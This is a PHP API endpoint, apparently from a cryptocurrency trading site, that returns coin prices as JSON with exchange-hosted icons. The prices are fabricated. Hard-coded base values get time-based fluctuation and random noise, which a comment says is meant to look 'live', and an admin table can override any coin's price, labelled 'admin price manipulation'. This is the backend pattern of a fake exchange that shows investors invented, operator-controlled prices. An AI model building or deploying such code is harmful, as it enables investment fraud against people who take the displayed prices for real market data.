50 lines
3.7 KiB
PHP
50 lines
3.7 KiB
PHP
<?php
|
|
header('Content-Type: application/json');
|
|
require_once __DIR__ . '/../db/config.php';
|
|
|
|
// List of supported coins with base prices
|
|
$coins = [
|
|
'BTC' => ['name' => 'Bitcoin', 'price' => 43250.50, 'change' => 2.45, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/btc.png'],
|
|
'ETH' => ['name' => 'Ethereum', 'price' => 2345.20, 'change' => 1.15, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/eth.png'],
|
|
'SOL' => ['name' => 'Solana', 'price' => 102.45, 'change' => 8.60, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/sol.png'],
|
|
'OKB' => ['name' => 'OKB', 'price' => 54.12, 'change' => 0.15, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/okb.png'],
|
|
'LINK' => ['name' => 'Chainlink', 'price' => 18.40, 'change' => 3.20, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/link.png'],
|
|
'DOT' => ['name' => 'Polkadot', 'price' => 7.25, 'change' => -1.50, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/dot.png'],
|
|
'ADA' => ['name' => 'Cardano', 'price' => 0.58, 'change' => 2.10, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/ada.png'],
|
|
'DOGE' => ['name' => 'Dogecoin', 'price' => 0.082, 'change' => -0.50, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/doge.png'],
|
|
'XRP' => ['name' => 'XRP', 'price' => 0.52, 'change' => 0.25, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/xrp.png'],
|
|
'AVAX' => ['name' => 'Avalanche', 'price' => 35.60, 'change' => 4.10, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/avax.png'],
|
|
'MATIC' => ['name' => 'Polygon', 'price' => 0.82, 'change' => -1.20, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/matic.png'],
|
|
'TRX' => ['name' => 'TRON', 'price' => 0.12, 'change' => 0.80, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/trx.png'],
|
|
'LTC' => ['name' => 'Litecoin', 'price' => 68.45, 'change' => 1.20, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/ltc.png'],
|
|
'BCH' => ['name' => 'Bitcoin Cash', 'price' => 245.30, 'change' => -0.85, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/bch.png'],
|
|
'UNI' => ['name' => 'Uniswap', 'price' => 6.12, 'change' => 5.40, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/uni.png'],
|
|
'FIL' => ['name' => 'Filecoin', 'price' => 5.25, 'change' => 2.15, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/fil.png'],
|
|
'APT' => ['name' => 'Aptos', 'price' => 9.40, 'change' => 12.30, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/apt.png'],
|
|
'ARB' => ['name' => 'Arbitrum', 'price' => 1.85, 'change' => 3.10, 'icon' => 'https://static.okx.com/cdn/oksupport/asset/currency/icon/arb.png'],
|
|
];
|
|
|
|
// Seed for consistent pseudo-randomness based on time
|
|
srand(floor(time() / 10));
|
|
|
|
// Check for admin price manipulation
|
|
try {
|
|
$stmt = db()->prepare("SELECT config_key, config_value FROM system_config WHERE config_key LIKE 'price_%'");
|
|
$stmt->execute();
|
|
$manipulations = $stmt->fetchAll(PDO::FETCH_KEY_PAIR);
|
|
|
|
foreach ($coins as $symbol => &$data) {
|
|
$key = 'price_' . $symbol;
|
|
if (isset($manipulations[$key])) {
|
|
$data['price'] = (float)$manipulations[$key];
|
|
} else {
|
|
// Natural fluctuation based on time to look "live"
|
|
$fluctuation = (sin(time() / 60) * 0.001) + 1;
|
|
$data['price'] *= $fluctuation;
|
|
// Add a small random noise
|
|
$data['price'] += (rand(-100, 100) / 1000) * ($data['price'] * 0.001);
|
|
}
|
|
}
|
|
} catch (Exception $e) {}
|
|
|
|
echo json_encode(['success' => true, 'data' => $coins]); |